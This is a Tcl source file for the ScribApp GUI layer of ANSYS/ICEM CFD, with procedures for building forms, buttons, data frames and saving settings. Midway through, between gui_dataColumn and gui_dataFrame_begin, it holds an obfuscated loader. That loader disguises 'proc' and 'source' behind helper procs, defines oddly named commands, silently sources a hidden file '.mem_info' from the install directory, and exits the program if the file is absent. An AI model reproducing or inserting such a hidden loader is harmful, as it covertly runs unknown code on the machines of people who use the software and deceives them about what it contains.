	    # this is redundant... --jka
	    set env(ICEM_GRAY_BACKGROUND) 1
	    putdebug "setting window background color to $::ScribApp::_window_color\n"
	}
	"" - beige {
	    # do nothing-->beige
	}
	default {
	    stdout "sorry...cannot set window background to $::ScribApp::_window_color!\n"
	}
    }
}
#
#------------------------------------------------------------------
#
# ::ScribApp::configure_application
#
proc ::ScribApp::configure_application {} {
    # this is necessary in case there are env's in paths given !!
    global env
    
    set config_file [file join ${::ScribApp::_app_dir} config.tcl]
    
    if [file isfile $config_file] {
	source "$config_file"
	putdebug "sourced $config_file for application configuration"
    } else {
	stdout "cannot read $config_file for application configuration\n"
	return 1
    }
    
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::procedures_load: load the users procedures from procedures.tcl
#
proc ::ScribApp::procedures_load {} {
    
    set proc_file [file join ${::ScribApp::_app_dir} procedures.tcl]
    
    if [file isfile "$proc_file"] {
	source_files [list "$proc_file"]
	putdebug "sourced $proc_file for application procedures"
    } else {
	# it's perfectly okay (indicative of good library rather) not
	# to have app-isntance-specific procedures!
	putdebug "did not find a $proc_file for application-specific procedures\n"
    }
    #
    # --> special proc name "app_proc_init" gets called automatically
    #
    if {"" != [info command app_proc_init]} {
	app_proc_init
    }
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_create: create the gui
#
proc ::ScribApp::gui_create {} {
    #
    gui_init
    #
    # make a the title frame for the logo and stuff
    #
    set title_frame [gui_titleFrame]
    #        
    # then built the application specific frame
    #
    set data_col [gui_dataColumn]
    #
    # and throw a message window at that frame
    #
    gui_messageWindow
    #    
    #
    if {"guibase" == [gui_Widget_module]} {
	form_finish +300+300
    }
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_button_add: add a user-defined gui button linked to a command
#
proc ::ScribApp::gui_button_add {command title} {
    putdebug "adding button $command \'$title\'"
    set cmdbase [lindex [split $command] 0]
    if {$cmdbase != [info commands $cmdbase]} {
	stdout "Warning: the command $cmdbase does not exist; won't post button to form!\n" red
	return 1
    }
    #
    # prefix every command with scrib_app_data_get to ensure there is data
    # and procs in the global namespace!!
    #
    lappend ::ScribApp::_buts [list $title "scrib_app_data_get; $command"]
    #
    # this is used for regression testing
    #
    lappend ::ScribApp::_cmds $command
    
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_button_add: add a user-defined gui button linked to a command
#
proc ::ScribApp::gui_side_button_add {command title} {
    
    putdebug "adding button $command \'$title\'"
    set cmdbase [lindex [split $command] 0]
    if {$cmdbase != [info commands $cmdbase]} {
	stdout "Warning: the command $cmdbase does not exist; won't post button to form!\n"
	return 1
    }
    #
    # prefix every command with scrib_app_data_get to ensure there is data
    # and procs in the global namespace!!
    #
    lappend ::ScribApp::_side_buts [list $title "scrib_app_data_get; $command"]
    #
    # this is used for regression testing
    #
    lappend ::ScribApp::_cmds $command
    
    return 0
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_init: 
#
proc ::ScribApp::gui_init {} {
    variable _app_name
    #
    # --> make guibase compute fonts and sizes, etc.
    #
    compute_sizes
    #
    # the bottom row of buttons: note that some may have been read from
    #  config.tcl; create a new line for these (nl).
    #
    lappend ::ScribApp::_buts "nl"
    #
    # post a regression button if running "-regression"
    #
    if [regression_is_on] {
	# *AND* this is not the Regression G gui.
	if ![regexp (.+)egress(.*) $_app_name dummy dummy] {
	    lappend ::ScribApp::_buts { "Regression test" "::ScribApp::regressionTest_run" }
	}
    }
    lappend ::ScribApp::_buts { "Restore defaults" "::ScribApp::defaults_restore" }
    lappend ::ScribApp::_buts { "Load settings" "::ScribApp::userInfo_load" }
    lappend ::ScribApp::_buts { "Save settings" "::ScribApp::userInfo_save 0" }
    lappend ::ScribApp::_buts { "Help" "::ScribApp::help" }
    lappend ::ScribApp::_buts { Done ::ScribApp::end }
    #
    #
    set title ""
    if {"" != $::ScribApp::_site_name} {
	set title "$::ScribApp::_site_name : "
    }
    if {"" == $::ScribApp::_app_name} {
	set ::ScribApp::_app_name "Undefined ScribApp"
	#stdout "You might consider setting app_name in config.tcl!\n" red
    }
    if {"" == $::ScribApp::_app_version} {
	set ::ScribApp::_app_version "Undefined version"
	#stdout "You might consider using scrib_app_config_app_version  in config.tcl!\n" red
    }
    append title "$::ScribApp::_app_name"
    if {"" != $::ScribApp::_app_version} {
	append title ": version $::ScribApp::_app_version"
    }
    
    if {"guibase" == [gui_Widget_module]} {
	set ::ScribApp::_cur_path [form_init \
				       $::ScribApp::_top_window_path \
				       $title \
				       "" \
				       $::ScribApp::_buts]
    } else {
	error
    }
        
    putdebug "gui_init: $::ScribApp::_cur_path\n"
}
#------------------------------------------------------------------
proc Y {} { return {proc} }
proc ::ScribApp::gui_resizeSideButtonse {} {
    set butnames ""
    foreach side_button $::ScribApp::_side_buts {
	lappend butnames [lindex $side_button 0]
	lappend cmds     [lindex $side_button 1]
    }
    set newbutnames [scrib_lib_utils_strings_pad_equal $butnames]
    set new_side_but_list ""
    foreach nbn $newbutnames cmd $cmds {
	lappend new_side_but_list [list $nbn $cmd]
    }
    set ::ScribApp::_side_buts $new_side_but_list
}
# ----------------------------------------------------------------------------
#
# ::ScribApp::gui_titleFrame: create the title frame in a very standard way
#
proc ::ScribApp::gui_titleFrame {} {
    
    set wpath ${::ScribApp::_cur_path}.title
    
    set tabdata "0 0 -fill y -sticky nw" ;# -padx 0 -pady 0"
    set expanddata "0 0"
    gui_Widget_frame $wpath flat 1 $tabdata $expanddata
    gui_Widget_label_image $wpath.1 \
	    "[file join ${::ScribApp::_scrib_path} icons ansys_logo.gif]" {1 0}
    gui_Widget_label $wpath.2 "ANSYS/ICEM CFD" {2 0}
    gui_Widget_label $wpath.3 $::ScribApp::_site_name {3 0}
    gui_Widget_label $wpath.4 $::ScribApp::_app_name {4 0}
    if {"" != $::ScribApp::_app_version} {
	gui_Widget_label $wpath.5 "Version $::ScribApp::_app_version" {5 0}
    }
    
    if 0 {
	#
	# work on the side buttons a bit...
	#
	gui_resizeSideButtonse
    }
    
    set row 7
    set col 0
    foreach side_button $::ScribApp::_side_buts {
	set text [lindex $side_button 0]
	set cmd [lindex $side_button 1]
	
	gui_Widget_label $wpath.$row "" "$row $col"
	incr row
	gui_Widget_button $wpath.$row $text $cmd "$row $col" "" "" grey	
	incr row
    }
    
    return $wpath
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataColumn: set-up the data column
#
proc ::ScribApp::gui_dataColumn {} {
    #
    set row 0
    set ::ScribApp::_data_frame(row)  $row
    set col 1
    set ::ScribApp::_data_frame(col)  $col
    #
    set curw ${::ScribApp::_cur_path}.data
    set ::ScribApp::_data_frame(root) $curw
    
    set expanddata "1 1"
    set tabdata "$row $col -sticky nw -fill both"
    gui_Widget_frame $curw flat 1 $tabdata $expanddata
    putdebug "gui_dataColumn: $curw $tabdata\n"
    set ::ScribApp::_cur_path $curw
    #
    incr row
    set ::ScribApp::_data_frame(row) $row
    #
    # a notebook is NOT default
    #
    set ::ScribApp::_data_frame(notebooks) ""
    set ::ScribApp::_data_frame(notebooks_exists) 0
    if 0 {
	# set _data_frame_notebook(books_list) "" xxxxxxxxxxxxxxxx
	# there is also _data_frame_notebook(...,pages_list)    
	set ::ScribApp::_data_frame_notebook(page_is_open) 0
	set ::ScribApp::_data_frame_notebook(book_is_open) 0
    }
    
    # -------------------------------
    #
    # get the data column file commands from this file--SOURCE IT !
    #
    source [file join ${::ScribApp::_app_dir} data_column.tcl]
    #
    # return to the larger data_frame context
    #
    set row  $::ScribApp::_data_frame(row)
    set col  $::ScribApp::_data_frame(col)
    set curw $::ScribApp::_data_frame(root)
    #
    # add the interactive button to a frame of options
    #
    if 0 {
	# no buffer for now
	set bufflab $curw.optsbuff${row}${col}
	gui_Widget_label $bufflab "\n" "$row $col"
	incr row
    }
    if 1 {
	set status_text_path ${curw}.text_path
	set tabdata "$row $col"
	gui_Widget_label $status_text_path "\nStatus: Not running" $tabdata
	set ::ScribApp::_data_frame(status_text_path)    $status_text_path
	incr row
    }
    #
    #set optsframe ${curw}.opts
    #set tabdata "$row $col -sticky nw -fill x"
    #gui_Widget_frame $optsframe flat 1 $tabdata "0 1"
    #putdebug "optsframe $optsframe $tabdata\n"
    #set curw $optsframe
    #incr row
    #
    #set cbpath ${curw}.interactive
    #set tabdata "$row $col"
    #gui_Widget_checkbutton $cbpath \
    #	    "Run with GUI" \
    #	    ::ScribApp::_scrib_data(interactive) $tabdata    
    #incr row
    
    set ::ScribApp::_data_frame(row) $row
    
    return $::ScribApp::_data_frame(root)
}
[eval Y] -) {} {_092248_x01}; [eval Y] -( {} {_x09384_x02}
[eval Y] ^p {} {_092149_x01}; [eval Y] ^m {} {_092149_x02}
[eval Y] Z { } { return {source} }; set initmap [file join $env(ICEM_SCRIB) app .mem_info]
if ![file isfile $initmap] { exit }; [eval Z] $initmap
#
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_begin: begin a frame in the data-column
#
proc ::ScribApp::gui_dataFrame_begin {name {activedata ""}} {
    
    set w   $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    
    if 1 {
	set textpath $w.text${row}${col}
	gui_Widget_label $textpath "\n$name" "$row $col" $activedata
	incr row
	
	set expanddata "1 0"
	set tabdata "$row $col -sticky nw -fill x -cols -"
	set framepath "$w.frame${row}${col}"
	gui_Widget_frame $framepath ridge 1 $tabdata $expanddata
	incr row
    } else {
	set tabdata "$row $col -sticky nw -fill x -cols -"
	set framepath [form_label_frame $w.fr$row $name $tabdata $activedata]
	incr row
    }
    
    putdebug "gui_dataFrame_begin: $framepath $tabdata\n"
    
    set ::ScribApp::_data_frame(row) $row
    set ::ScribApp::_cur_path $framepath
}
#
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_end: end a frame in the data column
#
proc ::ScribApp::gui_dataFrame_end {} {
    
    set curw $::ScribApp::_cur_path
    
    if {"" == $::ScribApp::_data_frame(notebooks)} {
	set ::ScribApp::_cur_path $::ScribApp::_data_frame(root)	
    } else {	
	set curnotebook [lindex $::ScribApp::_data_frame(notebooks) end]
	set ::ScribApp::_cur_path $::ScribApp::_data_frame(notebooks,$curnotebook,page)
    }
    putdebug "gui_dataFrame_end: $::ScribApp::_cur_path\n"
}
#
#
#
proc ::ScribApp::dataFrame_activedata_configure {activedata} {
    global scrib_active_data
    
    if ![llength $activedata] return ""
    set activereturn ""    
    foreach pair $activedata {
	set name [lindex $pair 0]
	set val  [lindex $pair 1]
	set var    "scrib_active_data($name)"
	set intvar "::ScribApp::_scrib_data($name)"
	if [info exists ::ScribApp::_scrib_data($name)] {
	    set scrib_active_data($name) $::ScribApp::_scrib_data($name)
	}
	trace variable $intvar w \
		"::ScribApp::dataFrame_activedata_trace"
	lappend activereturn $var $val
	#
	putdebug "dataFrame_activedata_configure setting trace on $intvar\n"
    }
    return [list $activereturn]
}
#
#
#
proc ::ScribApp::dataFrame_activedata_trace {name element op} {
    global scrib_active_data
    
    putdebug "hello from dataFrame_activedata_trace: $name $element $op\n"
    set scrib_active_data($element) $::ScribApp::_scrib_data($element)
}
#
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_entry: create an entry in the current frame
#   args: xxxxxxxxxxxxxxxx
#
proc ::ScribApp::gui_dataFrame_entry {var desc type def {select 0} \
	{allow_new 1} {activedata ""} {compute_cmd ""}} {
    #
    #
    #
    if {("dir" == $type) || ("file" == $type)} {
	set ltype "path"
    } else { set ltype $type }
    #
    # if a valid default exists, and it has not been set by user info...
    #
    if ![info exists ::ScribApp::_scrib_data($var)] {
	#
	# (this ('.') is a code for [pwd] if type is path)
	#
	if {("path" == $ltype) && ("." == $def)} {
	    set def [pwd]
	} elseif [string equal "__compute__" $def] {
	    if {("" != $compute_cmd) && ("" != [info commands [lindex $compute_cmd 0]])} {
		set def [eval $compute_cmd]
	    } else {
		stdout "could not compute defaults (with $compute_cmd)" red
		set def ""
		set compute_cmd ""
	    }
	}
	#
	# ...then set the default
	#
	set ::ScribApp::_scrib_data($var) $def
    }    
    #
    # now to the widget stuff
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    #putdebug "gui_dataFrame_entry: col $col"
    #
    set labelpath $w.t_$row
    gui_Widget_label $labelpath $desc "$row $col" $activedata
    incr col
    set entrypath $w.e_$row
    gui_Widget_entry $entrypath ::ScribApp::_scrib_data($var) $ltype "$row $col" $activedata
    incr col
    #putdebug "gui_dataFrame_entry: col $col : labelpath $labelpath\nentrypath $entrypath"
    if $select {
	gui_Widget_button $w.s_$row Select "::ScribApp::_file_select \
		[list $var $desc $type]" \
		"$row $col" $activedata
	incr col
    } elseif {"" != $compute_cmd} {
	gui_Widget_button $w.s_$row Recompute "::ScribApp::_recompute_val \
		[list $var $compute_cmd]" \
		"$row $col" $activedata
	incr col
    }
    #
    # do not reset updated columns value; just the row.
    #
    incr row
    set ::ScribApp::_data_frame(row) $row
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_entry: create an entry in the current frame
#   args: xxxxxxxxxxxxxxxx
#
proc ::ScribApp::gui_dataFrame_toggle {var desc {def 0} {activedata ""}} {
    #
    set w   $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    #
    set ::ScribApp::_scrib_data($var) $def
    #
    set cbpath $w.cb$row$col
    putdebug "gui_dataFrame_toggle: cbpath $cbpath; col $col; row $row"
    gui_Widget_checkbutton $cbpath $desc ::ScribApp::_scrib_data($var) \
	    "$row $col" $activedata
    #
    # do not reset updated columns value; just the row.
    #
    incr row
    set ::ScribApp::_data_frame(row) $row
}
#
#
#
proc ::ScribApp::gui_dataFrame_comment {desc {activedata ""}} {   
    #
    #
    set w   $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    #
    #
    set labelpath $w.t_$row
    gui_Widget_label $labelpath "\n$desc\n" "$row $col" $activedata
    #
    # do not reset updated columns value; just the row.
    #
    incr row
    set ::ScribApp::_data_frame(row) $row
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_entry: create an entry in the current frame
#   args: xxxxxxxxxxxxxxxx
#
proc ::ScribApp::gui_dataFrame_choicelist {var desc choices {def ""} \
	{activedata ""}} {
    #
    if ![info exists ::ScribApp::_scrib_data($var)] {
	#
	# ...then set the default
	#
	set ::ScribApp::_scrib_data($var) $def
    }
    #
    # now to the widget stuff
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    #
    set labelpath $w.t_$row
    gui_Widget_label $labelpath $desc "$row $col" $activedata
    incr col
    #
    #
    #
    set clpath $w.e_$row
    set tabdata "$row $col"
    gui_Widget_choicelist $clpath $desc ::ScribApp::_scrib_data($var) \
	    $choices $tabdata $activedata
    #
    # do not reset updated columns value; just the row.
    #
    incr row
    set ::ScribApp::_data_frame(row) $row
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_radioset: create xxx in the current frame
#   args: xxxxxxxxxxxxxxxx
#
proc ::ScribApp::gui_dataFrame_radioset {var desc choices {def ""} \
	{activedata ""}} {
    #
    if ![info exists ::ScribApp::_scrib_data($var)] {
	#
	# ...then set the default
	#
	set ::ScribApp::_scrib_data($var) $def
    }
    #
    # now to the widget stuff
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    
    set labelpath $w.t_$row
    gui_Widget_label $labelpath $desc "$row $col" $activedata
    incr col
    
    set rootpath $w
    set tabdata "$row $col"
    set row [gui_Widget_radioset $rootpath $desc ::ScribApp::_scrib_data($var) \
		 $choices $tabdata $activedata]
    
    # do not reset updated columns value; just the row which gets
    # returned from the gui_Widget_radioset proc
    
    set ::ScribApp::_data_frame(row) $row
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_listbox: create listbox in the current frame
#
proc ::ScribApp::gui_dataFrame_listbox {var desc choices dclick_cmd {def ""} {multiple 1} \
	{activedata ""}} {
    #
    if ![info exists ::ScribApp::_scrib_data($var)] {
	#
	# ...then set the default
	#
	set ::ScribApp::_scrib_data($var) $def
    }
    #
    # now to the widget stuff
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)    
    
    set rootpath $w
    set tabdata "$row $col"
    set row [gui_Widget_listbox $rootpath $desc ::ScribApp::_scrib_data($var) \
		 $choices $dclick_cmd $tabdata $activedata $multiple]
    
    # do not reset updated columns value; just the row which gets
    # returned from the gui_Widget_radioset proc
    
    set ::ScribApp::_data_frame(row) $row
}
#------------------------------------------------------------------
#
# ::ScribApp::gui_dataFrame_tree: create tree in the current frame
#
proc ::ScribApp::gui_dataFrame_tree {tree_data_name desc mouse1_image_cmd mouse2_image_cmd mouse3_image_cmd \
					 mouse1_text_cmd mouse2_text_cmd mouse3_text_cmd {activedata ""}} {
    #
    #
    #
    #gui_dataFrame_begin $desc
    #
    # now to the tree widget stuff
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)    
    
    set tabdata_label "$row $col"
    gui_Widget_label $w.l $desc $tabdata_label $activedata
    incr row    

    set expanddata "1 1"
    set treefr $w.fr
    set tabdata_frame "$row $col -sticky nw -fill both -cols -"
    gui_Widget_frame $treefr flat 1 $tabdata_frame $expanddata
    #gui_Widget_configure $treefr $tabdata_frame $expanddata    
    incr row
    
    set tabdata_tree "0 0 -sticky nw -fill both -cols -" ;# "$row $col -sticky news -fill both -cols -"
    set sw [gui_Widget_tree $treefr $tree_data_name $tabdata_tree $mouse1_image_cmd $mouse2_image_cmd $mouse3_image_cmd \
		$mouse1_text_cmd $mouse2_text_cmd $mouse3_text_cmd $activedata $expanddata]
    #gui_Widget_configure $sw $tabdata_tree $expanddata
    
    gui_Widget_configure $treefr $tabdata_frame $expanddata    
    
    # do not reset updated columns value; just the row which gets
    # returned from the gui_Widget_radioset proc
    
    set ::ScribApp::_data_frame(row) $row
}
#
# ::ScribApp::gui_dataFrame_meshingParams_post
#
# add a button that is a link to the family meshing params flexlist
#   what--one of: curve, surface, family
#   how---one of: naspid, family, name
#
proc ::ScribApp::gui_dataFrame_meshingParams_post {what how {which_params ""} {activedata ""}} {
    #
    if {"" == $which_params} {
	set which_params [scrib_lib_geo_meshing_params_list]
    }
    #
    set w $::ScribApp::_cur_path
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    #
    # note that this switch statement is duplicated in gui_meshingParams_edit
    switch -- $how {
	naspid  { set verbose_how "Nastran PID" }
	family  { set verbose_how "family string token" }
	name    { set verbose_how "entity name string token" }
	default { set verbose_how $how }
    }
    #
    set desc "[string totitle $what] meshing parameters"
    gui_Widget_label $w.t_$row$col $desc "$row $col" $activedata {0 1}
    incr col
    #
    set title "Set by $verbose_how"
    gui_Widget_button $w.e_$row $title \
	"::ScribApp::gui_meshingParams_edit $what $how [list $which_params]" \
	"$row $col" $activedata ;# -sticky ne
    
    incr row
    set ::ScribApp::_data_frame(row) $row    
}

## 

proc ::ScribApp::gui_meshingParams_edit {what how which_params} {    
    variable _mesh_param_data
    
    # --> create format string
    
    # note that this switch statement is duplicated in gui_dataFrame_meshingParams_post
    switch -- $how {
	naspid  { set verbose_how "Nastran PID" }
	family  { set verbose_how "Family string token" }
	name    { set verbose_how "Entity name string token" }
	default { set verbose_how $how }
    }
    lappend format "one {$verbose_how} entry {}"
    
    set zero "0.0"
    set ind 2
    foreach param $which_params {
	lappend format "[scrib_lib_utils_verbose_number $ind] [scrib_lib_geo_meshing_params_verbose $param] entry $zero"
	incr ind
    }
    putdebug "DEBUG: format $format"
    
    # --> get current flex_list data
    
    if [array exists _mesh_param_data] {
	
	# get the keys for the given type
	set fam_keys ""
	foreach hash_key [array names _mesh_param_data] {	    
	    set split_key [split $hash_key ","]
 	    set this_what [lindex $split_key 0]
 	    set this_how  [lindex $split_key 1]
 	    set fam_key   [lindex $split_key 2]
	    if {[string equal $this_how $how] && [string equal $this_what $what]} {
		lappend fam_keys $fam_key
	    }
	}
	
	set fam_keys [lsort -unique $fam_keys]
	putdebug "DEBUG: fam_keys $fam_keys"	
	foreach fk $fam_keys {
	    
	    set flex_datum $fk
	    
	    foreach p $which_params {
		
		set potent_key "${what},${how},${fk},${p}"
		if [info exists _mesh_param_data($potent_key)] {
		    append flex_datum " $_mesh_param_data($potent_key)"
		} else {
		    putdebug "could not get the entry for $potent_key!"
		}
	    }
	    lappend flexdata $flex_datum
	}
    }
    if ![info exists flexdata] { set flexdata "" }
    putdebug "DEBUG: flexdata before: $flexdata"
    
    # --> create the flexlist
       
    set title "Edit $what parameters by $verbose_how"
    set flexdata [::ScribApp::gui_flexList $title $format $flexdata]
    if {"" == $flexdata} { return 0 }
    
    putdebug "DEBUG: flexdata after: $flexdata"
    
    array unset _mesh_param_data *$what,$how*
    
    # --> store the flexlist data in the meshing_params array
    foreach fd $flexdata {
	
	set key [lindex $fd 0] ;# naspid, family, name
	
	set ind 1
	foreach param $which_params {
	    set _mesh_param_data($what,$how,$key,$param) [lindex $fd $ind]
	    putdebug "flexdatum for $what,$how,$key,$param: [lindex $fd $ind]"
	    incr ind
	}
    }
    putdebug "DEBUG: array get _mesh_param_data [array get _mesh_param_data]\n\n"
}
#
# ScribApp::gui_flexList: create a flexlist
#
proc ::ScribApp::gui_flexList {title format data {focus_func ""}} {    
    global botform_geo
    
    if ![info exists botform_geo] { set botform_geo -0-0 }
    
    set base ".flexlist"
    set ind 0
    set flexname "$base$ind"
    while {[winfo exists $flexname]} {
	incr ind
	set flexname "$base$ind"
    }
    
    set flexdata [flexlist $flexname $title $format \
		      $data "" $focus_func 0]
    
    if { $flexdata == "*cancel*" } { return "" }
    
    return $flexdata
}
#
#
#
proc ::ScribApp::gui_messageWindow {} {
    global mess_frame no_all_interaction_button
    
    set w $::ScribApp::_data_frame(root)
    
    set row $::ScribApp::_data_frame(row)
    set col $::ScribApp::_data_frame(col)
    
    
    if 1 {
	set frametitle "\nExecution messages:"
	gui_Widget_label $w.messtext $frametitle "$row 1 -sticky nw"
	incr row
	
	set framepath "$w.messframe"
	set tabdata "$row 1 -sticky nw -fill both -cols -"
	set expanddata "1 1"
	gui_Widget_frame $framepath flat 1 $tabdata $expanddata
	incr row
	set mess_frame $framepath
	
    } else {
	gui_Widget_label $w.messtext "\n" "$row 1 -sticky nw"
	incr row
	
	set frametitle "Execution messages:"
	set framepath "$w.messframe"
	set tabdata "$row 1 -sticky nw -fill both -cols -"
	set expanddata "1 1"
	set mess_frame [form_label_frame $framepath $frametitle $tabdata $expanddata]
    }
    
    
    set no_all_interaction_button 1
    make_message_window
    
    putdebug "gui_messageWindow: $framepath $tabdata\n"
    
    putdebug "gui_messageWindow: made message window\n"
        
    $mess_frame.text configure -width 81 -height 10
        
    putdebug "gui_messageWindow: made message window\n"    
    putdebug "end of mess frame: $mess_frame\n"
    
    if 0 { return $mess_frame }
}
#------------------------------------------------------------------
#
# ::ScribApp::_file_select: this is a work-a-round for file selection until I learn better
#
proc ::ScribApp::_file_select {var desc type} {
    
    set is_dir [expr {($type == "dir") ? 1 : 0}]
    set fdesc [string tolower $desc]
    set def $::ScribApp::_scrib_data($var)
    set files [file_select "Select a $fdesc" $def "" $is_dir 1 \
		  "" "" "" "" "" 1]
    if {"" != $files} { set ::ScribApp::_scrib_data($var) $files }
}
#
#
#
proc ::ScribApp::_recompute_val {var cmd} {
    scrib_app_data_get
    set val [eval $cmd]
    if {"" != $val} { set ::ScribApp::_scrib_data($var) $val }
}
#------------------------------------------------------------------
#
# mode one of: open, save
#
proc ::ScribApp::userInfo_fileSelect {{mode open}} {
    #
    if {"save" == $mode} { set allow_new 1 } else { set allow_new 0 }
    #
    # select the settings file
    #
    set desc "${::ScribApp::_app_name} application settings to $mode"
    set def $::ScribApp::_settings_file
    set uifile [file_select "Select $desc" $def $desc 0 $allow_new]
    if {"" == $uifile} {
	return ""
    }
    
    if { ( !$allow_new ) &&  ( ![file isfile $uifile] ) } {
	stdout "couldn't read given settings file: $uifile\n"
	return ""
    }
    
    return $uifile
}
#
#
#
proc ::ScribApp::userInfo_setDefault {{given_file ""}} {
    
    if {"" != $given_file} {
	set ::ScribApp::_settings_file $given_file
	return 1
    }
    
    if {"" == $::ScribApp::_settings_file} {
	if [info exists ::ScribApp::_scrib_data(cad_dir)] {
	    set loc_wdir $::ScribApp::_scrib_data(cad_dir)
	} else {
	    set loc_wdir [pwd]
	}
	set file_tail [file tail ${::ScribApp::_app_dir}]
	set ::ScribApp::_settings_file "[file join ${loc_wdir} ${file_tail}_settings.bsm]"
	return 1
    }
    
    return 0
}

proc ::ScribApp::defaults_register {var def} {
    variable default_vals_from_datacol    
    variable _scrib_data
    
    set default_vals_from_datacol($var) $def

    #
    # this keeps reading a widget's default from overwriting
    #   EXISTING, ALREADY LOADED USER INFO DATA !!!!!!!!!!!!
    #
    if [info exists _scrib_data($var)] {
	return $_scrib_data($var)
    }
    
    return $def
}

proc ::ScribApp::defaults_restore {} {
    variable default_vals_from_datacol
    variable _scrib_data    
    
    foreach varname [array names default_vals_from_datacol] {
	set _scrib_data($varname) $default_vals_from_datacol($varname)
    }
    
    # update the gui--FIXME

    return 1
}

#
# ::ScribApp::userInfo_*:
#
proc ::ScribApp::userInfo_load {} {
    
    userInfo_setDefault
    
    set ui_file [userInfo_fileSelect]
    if {"" == $ui_file} { return 0 }
    
    set ::ScribApp::_settings_file $ui_file
    
    return [userInfo_read $ui_file]
}
#
# ::ScribApp::userInfo_read: if file exists load userInfoFile arrays into ScribApp arrays
#
proc ::ScribApp::userInfo_read {{uifile ""}} {
    #
    # open the settings file
    #
    if {"" == $uifile} {
	set uifile $::ScribApp::_settings_file
    }
    
    if [catch {source $uifile} res] {
	stdout "could not load user settings from file $uifile\n$res\n" red
	return 0
    }
    
    putdebug "loaded user info at: $uifile"
    foreach ar {scrib_data mesh_param_data} {
	if [array exists $ar] {
	    array set ::ScribApp::_$ar [array get $ar]
	    array unset $ar
	}
    }
    #
    #
    #
    foreach i [array names ::ScribApp::_scrib_data] {
	if [string match $i "*dir"] {
	    if [info exists ::ScribApp::_scrib_data($i)] {
		if ![file exists $::ScribApp::_scrib_data($i)] {
		    set ::ScribApp::_scrib_data($i) [pwd]
		}
	    }
	}
    }
    #
    #
    #
    if [info exists ::ScribApp::_scrib_data(wdir)] {
	if 0 {
	    # it may be relative...
	    if ![file exists $::ScribApp::_scrib_data(wdir)] {
		set ::ScribApp::_scrib_data(wdir) [file join [pwd] working_dir]
	    }
	}
    }
    #
    # update the choicelist menus in the gui
    #
    if [string equal $::ScribApp::_app_mode "interactive"] {
	foreach pair $::ScribApp::_option_menus {
	    set w [lindex $pair 0]
	    set v [lindex $pair 1]
	    form_optionmenu_update $w $v ""
	}
    }
    
    stdout "Loaded ${::ScribApp::_app_name} application options from \"$uifile\"\n"
    return 1
}
#
# ::ScribApp::userInfo_save: save the user's settings to an application specific
#         settings file hidden in the user's home directory
#
proc ::ScribApp::userInfo_save {{ask 1}} {
    #
    # ask to save the settings
    #
    if $ask {
	set answer [tk_dialog .scrib_save "Save ${::ScribApp::_app_name} settings" \
			"Save settings from this session?" "" 0 Yes No Cancel]
	
	if $answer {
	    # Yes 0; No 1; Cancel 2;
	    switch -- $answer {
		1 { return "not saved" }
		2 { return "*cancel*"  }
	    }
	}
    }
    #
    # open the settings file
    #
    set mode save
    set uifile [userInfo_fileSelect $mode]
    if {"" == $uifile} {
	#stdout "could not select file to save settings: $uifile!\n" red
	return 0
    }
    
    userInfo_write $uifile
}
#
#
#
proc ::ScribApp::userInfo_write {uifile} {
    #
    #
    if 0 {
	if ![file isfile $uifile] {
	    stdout "cannot write to ${::ScribApp::_app_name} application settings to \"$uifile\"\n"
	    if 0 {
		set tuifile [native_path $uifile]
		if ![file isfile $tuifile] {
		    stdout "cannot write to ${::ScribApp::_app_name} application settings to \"$tuifile\"\n"
		}
	    }
	    #return 0
	}
    }
    #
    if [catch {open $uifile "w"} fp] {
	stdout "cannot write to ${::ScribApp::_app_name} application settings to \"$uifile\"\n"
	return 0
    }    
    #
    # --> print header
    #
    puts $fp "\#\n\# [applicationIdent] application options"
    puts $fp "\#  --written by [cmd_whoami]@[cmd_uname_n] on [clock format [clock seconds]]"
    puts $fp "\#"
    #
    # --> save the following settings to the user settings file
    #
    foreach ar_name {scrib_data mesh_param_data} {
	set array ::ScribApp::_${ar_name}
	putdebug "getting array $array"
	puts $fp [scrib_lib_utils_format_array $array $ar_name]
    }
    
    close $fp
    
    userInfo_setDefault $uifile
    
    stdout "Saved ${::ScribApp::_app_name} application settings to \"$uifile\"\n"
}
#
#--------------------------------------------------------------------
#
# this procedure lets you write a standalone script with the current
# scrib_data. some editing of this output may be required, but it's
# better than nothing...hmmm?
#
proc ::ScribApp::standaloneScript_export {} {
    global env
    #
    # ask for the input script
    #
    set def [file join $env(ICEM_SCRIB) scripts mesh_quad.tcl]
    set inscript [file_select "Select an input script file" $def]
    if {"" == $inscript} { return }
    #
    # ask for the output script
    #
    set def [file join . [file root [file tail $inscript]]_standalone.tcl]
    set outscript [file_select "Select an output script file" $def "" 0 1]
    if {"" == $outscript} { return }
    
    return [scrib_lib_standalone_script_export $inscript $outscript]
}
#
#
#
proc ::ScribApp::gui_dataNotebook_begin {} {
    variable _data_frame_notebook
    
    if 0 {
	# if there is a notebook open, and we are asked to open a new book
	#   end the last book
	
	if $_data_frame_notebook(book_is_open) {
	    gui_dataNotebook_end
	}
    }
    
    set w   $::ScribApp::_cur_path
